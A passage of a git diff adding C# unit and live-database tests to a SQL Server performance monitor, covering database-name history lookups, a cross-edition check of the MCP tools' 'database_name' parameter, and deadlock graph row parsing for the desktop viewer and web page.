+        Assert.Equal("database_id 9", names[50142]);
+    }
+
+    [Fact]
+    public async Task AnErrorWithNoTime_LooksOnlyTheLast14DaysForItsIdsNewestName_5373()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live database-name-history test.");
+
+        var names = await NamesAsync(cs!, async (c, now, ct) =>
+        {
+            await SnapshotAsync(c, now.AddDays(-20), 5, "Gone20", ct);
+            await SnapshotAsync(c, now.AddDays(-10), 6, "Gone10", ct);
+            await ErrorAtAsync(c, now.AddHours(-3), 5, 50151, false, ct);
+            await ErrorAtAsync(c, now.AddHours(-3), 6, 50152, false, ct);
+        });
+        Assert.Equal("database_id 5", names[50151]);
+        Assert.Equal("Gone10", names[50152]);
+    }
+
+    [Fact]
+    public async Task TwoNamesForOneIdAtOneInstant_BeforeTheFloorAndAfterTheRange_GiveTheLargerName_5373()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live database-name-history test.");
+
+        var names = await NamesAsync(cs!, async (c, now, ct) =>
+        {
+            var errorAt = now.AddHours(-100);
+            foreach (var h in new[] { 120.0, 110.0, 90.0, 2.0 }) await SnapshotAsync(c, now.AddHours(-h), 1, "master", ct);
+            /* Id 7 is offline: two names on one instant before the floor (the smaller name is inserted first). */
+            await SnapshotAsync(c, now.AddHours(-130), 7, "AAA", ct);
+            await SnapshotAsync(c, now.AddHours(-130), 7, "ZZZ", ct);
+            /* Id 8 first appears after the range, again two names on one instant. */
+            await SnapshotAsync(c, errorAt.AddDays(3), 8, "BBB", ct);
+            await SnapshotAsync(c, errorAt.AddDays(3), 8, "YYY", ct);
+            await ErrorAtAsync(c, errorAt, 7, 50161, true, ct);
+            await ErrorAtAsync(c, errorAt, 8, 50162, true, ct);
+        });
+        Assert.Equal("ZZZ", names[50161]);
+        Assert.Equal("YYY", names[50162]);
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM system_health_events WHERE server_id = {ServerId}; DELETE FROM database_size_stats WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId};",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/DatabaseNameParamTwinTests.cs b/Darling/Darling.Tests/DatabaseNameParamTwinTests.cs
new file mode 100644
index 0000000000..6e796708dd
--- /dev/null
+++ b/Darling/Darling.Tests/DatabaseNameParamTwinTests.cs
@@ -0,0 +1,278 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5231 (D5): one tool name keeps one <c>database_name</c> contract across the two SKUs. For every MCP tool both
+/// Darling and Lite serve (plus Darling's <c>get_blocking</c> = Lite's <c>get_blocked_process_reports</c>), the
+/// <c>database_name</c> parameter exists on both or on neither, carries the same description text, and is the LAST
+/// parameter either SKU shows an agent (the injected services after it are not in the schema).
+/// <para>Darling's side is reflected; Lite's side is read from <c>Lite/Mcp/*.cs</c> (the Lite assembly is not
+/// referenced here), reached through <c>Path.Combine("Lite", "Mcp", ...)</c> so the <c>darling</c> CI filter, which
+/// covers <c>Lite/**/*.cs</c>, runs this guard on the edit it guards. The Lite.Tests budget pin files hold only
+/// description LENGTHS, so they cannot stand in for the text.</para>
+/// <para>Exempt, by name: the identity parameters of <c>get_plan_xml</c> and <c>analyze_query_plan</c> (they name the
+/// database a stored row came from, they do not filter). And <see cref="MiddleSince"/>: the tools whose
+/// <c>database_name</c> was already a middle parameter before the filter work, on one or both SKUs. Moving it now would
+/// break every positional caller, so they keep their place; the SET only shrinks (an entry that is now last fails
+/// the stale-entry test), and every other tool, including every tool the filter work widens, must keep it last.</para>
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class DatabaseNameParamTwinTests
+{
+    private const string Param = "database_name";
+
+    /// <summary>The tool name each SKU uses for the same read, where the names differ (Darling name, Lite name).</summary>
+    private static readonly (string Darling, string Lite)[] Renamed = { ("get_blocking", "get_blocked_process_reports") };
+
+    private static readonly Dictionary<string, string> Exempt = new(StringComparer.Ordinal)
+    {
+        ["get_plan_xml"] = "identity: names the database of one stored plan row, not a filter",
+        ["analyze_query_plan"] = "identity: names the database of one stored plan row, not a filter",
+    };
+
+    /// <summary>Tools whose <c>database_name</c> predates the "append it LAST" rule and sits mid-list (see the class comment).</summary>
+    private static readonly HashSet<string> MiddleSince = new(StringComparer.Ordinal)
+    {
+        "analyze_query_store_plan", "get_active_queries", "get_current_waits_trend", "get_index_usage", "get_query_heatmap",
+        "get_query_store_regressions", "get_query_store_top", "get_query_trend", "get_top_procedures_by_cpu", "get_top_queries_by_cpu",
+    };
+
+    private sealed record Tool(string Name, string[] ParamNames, Dictionary<string, string> Descriptions);
+
+    private static Dictionary<string, Tool> DarlingTools() => typeof(DarlingMcpObjectStatsTools).Assembly.GetTypes()
+        .Where(t => t.GetCustomAttribute<McpServerToolTypeAttribute>() is not null)
+        .SelectMany(t => t.GetMethods(BindingFlags.Public | BindingFlags.Static))
+        .Select(m => (Attribute: m.GetCustomAttribute<McpServerToolAttribute>(), Method: m))
+        .Where(x => x.Attribute?.Name is not null)
+        .ToDictionary(
+            x => x.Attribute!.Name!,
+            x =>
+            {
+                var shown = x.Method.GetParameters()
+                    .Where(p => p.GetCustomAttribute<DescriptionAttribute>() is not null).ToArray();
+                return new Tool(
+                    x.Attribute!.Name!,
+                    shown.Select(p => p.Name!).ToArray(),
+                    shown.ToDictionary(p => p.Name!, p => p.GetCustomAttribute<DescriptionAttribute>()!.Description));
+            },
+            StringComparer.Ordinal);
+
+    private static Dictionary<string, Tool> LiteTools()
+    {
+        var tools = new Dictionary<string, Tool>(StringComparer.Ordinal);
+        foreach (var file in Directory.GetFiles(PathTo("Lite", "Mcp"), "*.cs"))
+        {
+            var source = ReadRepoFile("Lite", "Mcp", Path.GetFileName(file));
+            foreach (Match m in Regex.Matches(source, @"\[McpServerTool\(Name = ""([a-z_0-9]+)""\)"))
+            {
+                var tool = ParseLiteTool(source, m.Groups[1].Value, m.Index + m.Length);
+                tools[tool.Name] = tool;
+            }
+        }
+
+        return tools;
+    }
+
+    /// <summary>The tool's schema-visible parameters: the ones carrying a <c>[Description(...)]</c>, in order.</summary>
+    private static Tool ParseLiteTool(string source, string name, int from)
+    {
+        var declaration = source.IndexOf("public static", from, StringComparison.Ordinal);
+        var open = source.IndexOf('(', declaration);
+        var close = MatchingParen(source, open);
+        var signature = source[open..close];
+
+        var names = new List<string>();
+        var descriptions = new Dictionary<string, string>(StringComparer.Ordinal);
+        foreach (Match attribute in Regex.Matches(
+            signature,
+            @"\[Description\(\s*(?:""((?:[^""\\]|\\.)*)""|(\w+))\s*\)\]\s*[\w.<>?\[\]]+\s+(\w+)"))
+        {
+            var text = attribute.Groups[1].Success
+                ? Regex.Unescape(attribute.Groups[1].Value)
+                : ResolveConst(source, attribute.Groups[2].Value);
+            names.Add(attribute.Groups[3].Value);
+            descriptions[attribute.Groups[3].Value] = text;
+        }
+
+        return new Tool(name, names.ToArray(), descriptions);
+    }
+
+    private static string ResolveConst(string source, string constName)
+    {
+        var m = Regex.Match(source, @"const string " + constName + @"\s*=\s*""((?:[^""\\]|\\.)*)""");
+        return m.Success ? Regex.Unescape(m.Groups[1].Value) : "<" + constName + ">";
+    }
+
+    /// <summary>The index of the <c>)</c> closing the <c>(</c> at <paramref name="open"/>, string literals skipped.</summary>
+    private static int MatchingParen(string s, int open)
+    {
+        var depth = 0;
+        for (var i = open; i < s.Length; i++)
+        {
+            switch (s[i])
+            {
+                case '"':
+                    i++;
+                    while (s[i] != '"')
+                    {
+                        if (s[i] == '\\') i++;
+                        i++;
+                    }
+
+                    break;
+                case '(':
+                    depth++;
+                    break;
+                case ')':
+                    depth--;
+                    if (depth == 0) return i;
+                    break;
+            }
+        }
+
+        throw new InvalidOperationException("unbalanced parentheses in a tool signature");
+    }
+
+    /// <summary>Every (Darling name, Lite name) pair both SKUs serve.</summary>
+    private static (string DarlingName, string LiteName)[] SharedTools(Dictionary<string, Tool> darling, Dictionary<string, Tool> lite) =>
+        darling.Keys.Where(lite.ContainsKey).Select(n => (n, n))
+            .Concat(Renamed.Where(r => darling.ContainsKey(r.Darling) && lite.ContainsKey(r.Lite)))
+            .OrderBy(p => p.Item1, StringComparer.Ordinal)
+            .ToArray();
+
+    [Fact]
+    public void TheParser_SeesTheSharedTools_AndThePairsItMustCover()
+    {
+        var darling = DarlingTools();
+        var lite = LiteTools();
+        var shared = SharedTools(darling, lite);
+
+        /* A parser that silently saw nothing would pass every other test here. The 88 shared names (plus the one
+           rename) are a floor, and the two tools this guard was written for must be among them. */
+        Assert.True(shared.Length >= 80, $"only {shared.Length} shared tools were read; the Lite parser has gone blind");
+        Assert.Contains(shared, p => p.DarlingName == "get_object_locking");
+        Assert.Contains(shared, p => p.DarlingName == "get_blocking" && p.LiteName == "get_blocked_process_reports");
+        Assert.Equal(new[] { "server_name", "limit", Param }, lite["get_object_locking"].ParamNames);
+        Assert.Equal(new[] { "server_name", "limit", Param }, darling["get_object_locking"].ParamNames);
+    }
+
+    [Fact]
+    public void DatabaseName_IsOnBothSkusOrNeither_LastOnBoth_WithTheSameDescription()
+    {
+        var darling = DarlingTools();
+        var lite = LiteTools();
+        var problems = new List<string>();
+
+        foreach (var (darlingName, liteName) in SharedTools(darling, lite))
+        {
+            if (Exempt.ContainsKey(darlingName)) continue;
+
+            var d = darling[darlingName];
+            var l = lite[liteName];
+            var onDarling = d.ParamNames.Contains(Param);
+            var onLite = l.ParamNames.Contains(Param);
+
+            if (onDarling != onLite)
+            {
+                problems.Add($"{darlingName}: {Param} is on {(onDarling ? "Darling" : "Lite")} only");
+                continue;
+            }
+
+            if (!onDarling) continue;
+
+            if (MiddleSince.Contains(darlingName)) continue;
+
+            if (d.ParamNames[^1] != Param) problems.Add($"{darlingName}: Darling's {Param} is not the last parameter ({string.Join(", ", d.ParamNames)})");
+            if (l.ParamNames[^1] != Param) problems.Add($"{liteName}: Lite's {Param} is not the last parameter ({string.Join(", ", l.ParamNames)})");
+            if (!string.Equals(d.Descriptions[Param], l.Descriptions[Param], StringComparison.Ordinal))
+            {
+                problems.Add($"{darlingName}: the {Param} descriptions differ.\n  Darling: {d.Descriptions[Param]}\n  Lite:    {l.Descriptions[Param]}");
+            }
+        }
+
+        Assert.True(problems.Count == 0, "One tool name must keep one database_name contract on both SKUs:\n" + string.Join("\n", problems));
+    }
+
+    /// <summary>
+    /// #5244 N3: the sentence that tells a caller which collector a blocking answer came from, and that the DMV snapshot answers only
+    /// when the blocked process reports have no rows for the chosen databases. It is the only place a caller learns, before the call, that
+    /// adding a database can flip the collector, so its exact text is pinned, and the same text sits on all four descriptions (Darling's and
+    /// Lite's get_blocking_trend and get_blocking_stats). The budget pins only bound its length.
+    /// </summary>
+    private const string SourceSentence =
+        "The source key names the collector that answered, blocked-process-report or DMV snapshot; the DMV snapshot is used only when the blocked "
+        + "process reports have no rows for the chosen databases, so source can differ between filters.";
+
+    [Theory]
+    [InlineData("get_blocking_trend")]
+    [InlineData("get_blocking_stats")]
+    public void TheSourceSentence_IsOnTheToolDescription_WordForWord_OnBothSkus(string tool)
+    {
+        var darlingDescription = typeof(DarlingMcpObjectStatsTools).Assembly.GetTypes()
+            .Where(t => t.GetCustomAttribute<McpServerToolTypeAttribute>() is not null)
+            .SelectMany(t => t.GetMethods(BindingFlags.Public | BindingFlags.Static))
+            .Where(m => m.GetCustomAttribute<McpServerToolAttribute>()?.Name == tool)
+            .Select(m => m.GetCustomAttribute<DescriptionAttribute>()!.Description)
+            .Single();
+
+        string? liteDescription = null;
+        foreach (var file in Directory.GetFiles(PathTo("Lite", "Mcp"), "*.cs"))
+        {
+            var m = Regex.Match(
+                ReadRepoFile("Lite", "Mcp", Path.GetFileName(file)),
+                @"\[McpServerTool\(Name = """ + tool + @"""\),\s*Description\(""((?:[^""\\]|\\.)*)""\)\]");
+            if (m.Success) liteDescription = Regex.Unescape(m.Groups[1].Value);
+        }
+
+        Assert.NotNull(liteDescription);
+        Assert.Contains(SourceSentence, darlingDescription, StringComparison.Ordinal);
+        Assert.Contains(SourceSentence, liteDescription, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheMiddleRoster_OnlyShrinks_EveryEntryIsStillMidList()
+    {
+        var darling = DarlingTools();
+        var lite = LiteTools();
+        foreach (var name in MiddleSince)
+        {
+            var onDarling = darling[name].ParamNames;
+            var liteName = Renamed.FirstOrDefault(r => r.Darling == name).Lite ?? name;
+            var onLite = lite.TryGetValue(liteName, out var l) ? l.ParamNames : null;
+
+            /* Mid-list on at least one SKU, or the entry is stale and must go (the rule then applies to the tool). */
+            var middleSomewhere = onDarling[^1] != Param || (onLite is not null && onLite.Contains(Param) && onLite[^1] != Param);
+            Assert.True(middleSomewhere, $"{name}: database_name is last on both SKUs now; drop it from MiddleSince");
+        }
+    }
+
+    [Fact]
+    public void TheExemptions_NameToolsThatStillExist_AndThatStillHaveTheParameter()
+    {
+        var darling = DarlingTools();
+        foreach (var (name, reason) in Exempt)
+        {
+            Assert.True(darling.TryGetValue(name, out var tool), $"{name} (exempt: {reason}) is no longer a Darling tool: drop the exemption");
+            Assert.True(tool!.ParamNames.Contains(Param), $"{name} (exempt: {reason}) no longer has {Param}: drop the exemption");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DatabaseSizeLatestPlanShapeLiveTests.cs b/Darling/Darling.Tests/DatabaseSizeLatestPlanShapeLiveTests.cs
index d86157b9f3..c64b0b7de5 100644
--- a/Darling/Darling.Tests/DatabaseSizeLatestPlanShapeLiveTests.cs
+++ b/Darling/Darling.Tests/DatabaseSizeLatestPlanShapeLiveTests.cs
@@ -86,15 +86,15 @@ public async Task TwoStepReads_ReturnTheOldUnboundedReadsRows_ForEveryServerShap
             foreach (var (name, id) in AllServers)
             {
                 var oldLatest = await ReadOldLatestAsync(connection, id, ct);
-                var newLatest = FormatViewerLatest(await viewer.GetDatabaseSizeLatestAsync(id, ct));
+                var newLatest = FormatViewerLatest(await viewer.GetDatabaseSizeLatestAsync(id, cancellationToken: ct));
                 Assert.Equal(oldLatest, newLatest);
 
                 var oldSummary = await ReadOldSummaryAsync(connection, id, ct);
-                var newSummary = FormatSummary(await viewer.GetDatabaseSizeSummaryAsync(id, 10, ct));
+                var newSummary = FormatSummary(await viewer.GetDatabaseSizeSummaryAsync(id, 10, cancellationToken: ct));
                 Assert.Equal(oldSummary, newSummary);
 
                 var oldGrowth = await ReadOldGrowthAsync(connection, id, now, ct);
-                var newGrowth = FormatGrowth(await viewer.GetStorageGrowthAsync(id, ct));
+                var newGrowth = FormatGrowth(await viewer.GetStorageGrowthAsync(id, cancellationToken: ct));
                 Assert.Equal(oldGrowth, newGrowth);
 
                 var oldMcp = await ReadOldMcpLatestAsync(connection, id, ct);
@@ -105,9 +105,9 @@ public async Task TwoStepReads_ReturnTheOldUnboundedReadsRows_ForEveryServerShap
             /* Not vacuous: the current server actually has rows, the empty one actually has none, and the
                future server's resolved row really does carry a collection_time after "now" — the case a
                windowed probe or fallback bounded by DateTime.UtcNow would silently drop. */
-            Assert.NotEmpty(await viewer.GetDatabaseSizeLatestAsync(CurrentId, ct));
-            Assert.Empty(await viewer.GetDatabaseSizeLatestAsync(EmptyId, ct));
-            var futureRows = await viewer.GetDatabaseSizeLatestAsync(FutureId, ct);
+            Assert.NotEmpty(await viewer.GetDatabaseSizeLatestAsync(CurrentId, cancellationToken: ct));
+            Assert.Empty(await viewer.GetDatabaseSizeLatestAsync(EmptyId, cancellationToken: ct));
+            var futureRows = await viewer.GetDatabaseSizeLatestAsync(FutureId, cancellationToken: ct);
             Assert.NotEmpty(futureRows);
             var futureMcp = await DarlingObjectStatsReader.GetLatestDatabaseSizesAsync(postgres, FutureId, ct);
             Assert.All(futureMcp, r => Assert.True(r.CollectionTime > now, $"expected {r.CollectionTime:o} after {now:o}"));
diff --git a/Darling/Darling.Tests/DeadlockProcessRowsTests.cs b/Darling/Darling.Tests/DeadlockProcessRowsTests.cs
new file mode 100644
index 0000000000..3ee3124ad8
--- /dev/null
+++ b/Darling/Darling.Tests/DeadlockProcessRowsTests.cs
@@ -0,0 +1,375 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The per-process rows <c>get_deadlock_detail</c> serves in <c>processes[]</c> (the web Deadlocks sub-grid) come from
+/// the same shared graph walk as the desktop viewer's grid, so the browser never parses the XML. Pure (no store).
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class DeadlockProcessRowsTests
+{
+    private const string Graph = """
+        <deadlock>
+          <victim-list><victimProcess id="process1" /></victim-list>
+          <process-list>
+            <process id="process1" spid="55" currentdbname="AppDb" waitresource="KEY: 5:72" waittime="1500" lockMode="X" isolationlevel="read committed (2)" logused="200" trancount="1" clientapp="TestApp" hostname="HOST1" loginname="app_login" status="suspended" transactionname="user_transaction" priority="0">
+              <executionStack><frame procname="AppDb.dbo.usp_Update" line="1">UPDATE dbo.t SET c = 1</frame></executionStack>
+              <inputbuf>UPDATE dbo.t SET c = 1</inputbuf>
+            </process>
+            <process id="process2" spid="60" currentdbname="AppDb" waittime="1200">
+              <inputbuf>UPDATE dbo.t SET c = 2</inputbuf>
+            </process>
+          </process-list>
+          <resource-list>
+            <keylock hobtid="72" dbid="5" objectname="AppDb.dbo.t" indexname="pk_t" mode="X">
+              <owner-list><owner id="process2" mode="X" /></owner-list>
+              <waiter-list><waiter id="process1" mode="X" requestType="wait" /></waiter-list>
+            </keylock>
+          </resource-list>
+        </deadlock>
+        """;
+
+    private static readonly DateTime When = new(2026, 7, 1, 10, 0, 5, DateTimeKind.Unspecified);
+
+    /// <summary>The same XML gives the same rows through the viewer's grid path and the service path.</summary>
+    [Fact]
+    public void TheServicePathAndTheViewerPath_GiveTheSameRowsForTheSameGraph() => AssertSameRows(Graph);
+
+    /// <summary>A graph naming two victims: both rows carry the victim flag, on both paths.</summary>
+    [Fact]
+    public void TheServicePathAndTheViewerPath_AgreeOnAGraphWithTwoVictims()
+    {
+        var twoVictims = Graph.Replace("<victimProcess id=\"process1\" />", "<victimProcess id=\"process1\" /><victimProcess id=\"process2\" />", StringComparison.Ordinal);
+        AssertSameRows(twoVictims);
+        Assert.All(DarlingDeadlockProcessRows.Parse(twoVictims, When), r => Assert.True(r.IsVictim));
+    }
+
+    private static void AssertSameRows(string graph)
+    {
+        var viewer = DeadlockProcessDetail.ParseFromRows(new List<ViewerDeadlockRow>
+        {
+            new() { DeadlockTime = When, VictimProcessId = "process1", DeadlockGraphXml = graph },
+        });
+        var service = DarlingDeadlockProcessRows.Parse(graph, When);
+
+        Assert.Equal(viewer.Count, service.Count);
+        for (var i = 0; i < viewer.Count; i++)
+        {
+            var v = viewer[i];
+            var s = service[i];
+            Assert.Equal(v.IsVictim, s.IsVictim);
+            Assert.Equal(v.ProcessId, s.ProcessId);
+            Assert.Equal(v.Spid, s.Spid);
+            Assert.Equal(v.DatabaseName, s.DatabaseName);
+            Assert.Equal(v.SqlText, s.SqlText);
+            Assert.Equal(v.WaitResource, s.WaitResource);
+            Assert.Equal(v.WaitTime, s.WaitTime);
+            Assert.Equal(v.LockMode, s.LockMode);
+            Assert.Equal(v.IsolationLevel, s.IsolationLevel);
+            Assert.Equal(v.LogUsed, s.LogUsed);
+            Assert.Equal(v.TransactionCount, s.TransactionCount);
+            Assert.Equal(v.ClientApp, s.ClientApp);
+            Assert.Equal(v.HostName, s.HostName);
+            Assert.Equal(v.LoginName, s.LoginName);
+            Assert.Equal(v.Status, s.Status);
+            Assert.Equal(v.DeadlockType, s.DeadlockType);
+            Assert.Equal(v.ObjectNames, s.ObjectNames);
+            Assert.Equal(v.ProcName, s.ProcName);
+            Assert.Equal(v.OwnerMode, s.OwnerMode);
+            Assert.Equal(v.WaiterMode, s.WaiterMode);
+            Assert.Equal(v.TransactionName, s.TransactionName);
+            Assert.Equal(v.Priority, s.Priority);
+        }
+    }
+
+    [Fact]
+    public void ARow_CarriesTheVictimFlag_AndOmitsWhatTheGraphDidNotSay()
+    {
+        var (rows, truncated) = DarlingDeadlockProcessRows.Build(Graph, When);
+
+        Assert.Equal(0, truncated);
+        Assert.Equal(2, rows.Count);
+        var victim = rows.Single(r => (int)r["spid"] == 55);
+        var other = rows.Single(r => (int)r["spid"] == 60);
+
+        Assert.True((bool)victim["victim"]);
+        Assert.False((bool)other["victim"]);
+        Assert.Equal("AppDb.dbo.usp_Update", victim["proc_name"]);
+        Assert.Equal("read committed (2)", victim["isolation_level"]);
+        Assert.Equal("app_login", victim["login_name"]);
+        Assert.Equal(1500L, victim["wait_time_ms"]);
+
+        /* process2 names no wait resource, login, host, application, isolation level or transaction. */
+        foreach (var key in new[] { "wait_resource", "login_name", "host_name", "client_app", "isolation_level", "transaction_name", "proc_name", "waiter_mode", "status" })
+            Assert.False(other.ContainsKey(key), key + " should be left off a row that has no value for it");
+        Assert.All(rows.SelectMany(r => r.Values), v => Assert.NotNull(v));
+        Assert.All(rows.SelectMany(r => r.Values.OfType<string>()), v => Assert.NotEqual("", v));
+    }
+
+    [Fact]
+    public void AGraphThatDoesNotParse_GivesNoRows_NotAFabricatedSessionZero()
+    {
+        var (rows, truncated) = DarlingDeadlockProcessRows.Build("<deadlock><process-list>", When);
+        Assert.Empty(rows);
+        Assert.Equal(0, truncated);
+        Assert.Empty(DarlingDeadlockProcessRows.Build(null, When).Rows);
+    }
+
+    [Fact]
+    public void AGraphWithMoreProcessesThanTheCap_KeepsTheCap_AndCountsTheRest()
+    {
+        var sb = new StringBuilder("<deadlock><process-list>");
+        var total = DarlingDeadlockProcessRows.MaxProcessesPerDeadlock + 5;
+        for (var i = 0; i < total; i++)
+            sb.Append($"<process id=\"p{i}\" spid=\"{100 + i}\"><inputbuf>{new string('x', 900)}</inputbuf></process>");
+        sb.Append("</process-list></deadlock>");
+
+        var (rows, truncated) = DarlingDeadlockProcessRows.Build(sb.ToString(), When);
+
+        Assert.Equal(DarlingDeadlockProcessRows.MaxProcessesPerDeadlock, rows.Count);
+        Assert.Equal(5, truncated);
+        Assert.All(rows, r => Assert.True(((string)r["sql_text"]).Length < 900));
+    }
+
+    [Fact]
+    public void TheTool_ServesProcessesBesideThePreviewedGraph()
+    {
+        var tool = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpBlockingTools.cs");
+        tool = tool.ReplaceLineEndings("\n");
+        var region = tool[tool.IndexOf("Name = \"get_deadlock_detail\"", StringComparison.Ordinal)..];
+        region = region[..region.IndexOf("get_blocked_process_xml", StringComparison.Ordinal)];
+
+        Assert.Contains("DarlingDeadlockProcessRows.Build(", region, StringComparison.Ordinal);
+        Assert.Contains("processes,", region, StringComparison.Ordinal);
+        Assert.Contains("processes_truncated = processesTruncated", region, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ThePage_KeepsTheFiveColumnSummary_AndAddsTheSubGrid_KeyedAtModuleScope()
+    {
+        var js = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+
+        Assert.Contains("DEADLOCK_COLUMNS,", js, StringComparison.Ordinal);
+        Assert.Equal(5, System.Text.RegularExpressions.Regex.Matches(
+            js[js.IndexOf("const DEADLOCK_COLUMNS = [", StringComparison.Ordinal)..].Split("];")[0], @"\{ key: ").Count);
+        Assert.Contains("const deadlockProcessesOpen = new Set();", js, StringComparison.Ordinal);
+        Assert.Contains("server + \"\\u0001\" + (row.dedup_key", js, StringComparison.Ordinal);
+        /* #5244: the panel passes its hidden-row scope to the columns, so the notice under it can count what the filter hid. */
+        Assert.Contains("deadlockXmlColumns(server, scope)", js, StringComparison.Ordinal);
+        Assert.DoesNotContain("DOMParser", js, StringComparison.Ordinal);
+        foreach (var key in new[] { "victim", "spid", "login_name", "host_name", "client_app", "database_name", "wait_resource", "lock_mode", "isolation_level", "transaction_name", "log_used", "sql_text" })
+            Assert.Contains("{ key: \"" + key + "\"", js, StringComparison.Ordinal);
+    }
+
+    private static bool TryRun(string scenario, out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-deadlock-processes-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the deadlock harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the deadlock harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return true;
+        }
+    }
+
+    private static bool[] Bools(JsonElement node) => node.EnumerateArray().Select(e => e.GetBoolean()).ToArray();
+
+    [Fact]
+    public void EachDeadlock_GetsACollapsedSubGrid_WithTheDesktopColumnsPlusLogUsedAndStatus()
+    {
+        if (!TryRun("closed", out var r)) return;
+
+        Assert.Equal(new[] { "2 processes", "1 process" }, r.GetProperty("summaries").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Equal(new[] { false, false }, Bools(r.GetProperty("open")));
+        var headers = r.GetProperty("subHeaders")[0].EnumerateArray().Select(e => e.GetString()!).ToArray();
+        Assert.Equal(21, headers.Length);
+        Assert.Contains("Victim", headers);
+        foreach (var h in new[] { "Object(s)", "Wait (ms)", "Tran Name", "Tran Count", "App", "Log Used", "Status" })
+            Assert.Contains(h, headers);
+        Assert.Contains("Statement", headers);
+        var first = r.GetProperty("subRows")[0][0].EnumerateArray().Select(e => e.GetString()!).ToArray();
+        Assert.Contains("Victim", first);
+        Assert.Contains("app_login", first);
+    }
+
+    [Fact]
+    public void AnExpandedSubGrid_StaysOpenAcrossARebuild()
+    {
+        if (!TryRun("expandSurvivesRebuild", out var r)) return;
+
+        Assert.Equal(new[] { true, false }, Bools(r.GetProperty("afterToggle")));
+        Assert.Equal(new[] { true, false }, Bools(r.GetProperty("afterRebuild")));
+    }
+
+    [Fact]
+    public void ACollapsedSubGrid_StaysClosedAcrossARebuild()
+    {
+        if (!TryRun("collapseSurvivesRebuild", out var r)) return;
+
+        Assert.Equal(new[] { false, false }, Bools(r.GetProperty("afterRebuild")));
+    }
+
+    [Fact]
+    public void TheOpenState_IsKeyedByServer()
+    {
+        if (!TryRun("otherServerKeyed", out var r)) return;
+
+        Assert.Equal(new[] { false, false }, Bools(r.GetProperty("otherServerOpen")));
+    }
+
+    [Fact]
+    public void ADeadlockWithNoProcessRows_DrawsNoSubGrid()
+    {
+        if (!TryRun("noprocesses", out var r)) return;
+
+        Assert.Equal(0, r.GetProperty("subgrids").GetInt32());
+    }
+
+    [Fact]
+    public void ADeadlockWhoseEveryRowThePageBudgetCut_SaysSo_AndHowToGetThem()
+    {
+        if (!TryRun("allcut", out var r)) return;
+
+        Assert.Equal(1, r.GetProperty("subgrids").GetInt32());
+        var text = r.GetProperty("text").GetString()!;
+        Assert.Contains("6 processes not sent (page row limit)", text, StringComparison.Ordinal);
+        Assert.Contains("pick Custom… in the time range and narrow it to this deadlock", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("dedup_key", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ACappedDeadlock_SaysHowManyProcessesWereLeftOff()
+    {
+        if (!TryRun("capped", out var r)) return;
+
+        Assert.Contains("(+3 more in the graph)", r.GetProperty("summaries")[0].GetString(), StringComparison.Ordinal);
+    }
+
+    private static string[] Strings(JsonElement node) => node.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    /// <summary>#5244: with A and B chosen, the C process row is hidden, a process with no database is hidden (the desktop's
+    /// rule), and the graphs, which are not filtered, still count every process; the notice line and the chip say so.</summary>
+    [Fact]
+    public void WithAFilter_TheProcessRowsOutsideTheChosenDatabasesAreHidden_AndTheGraphsStayWhole()
+    {
+        if (!TryRun("spread:A|B", out var r)) return;
+
+        Assert.Equal(new[] { "2 processes", "1 process" }, Strings(r.GetProperty("summaries")));
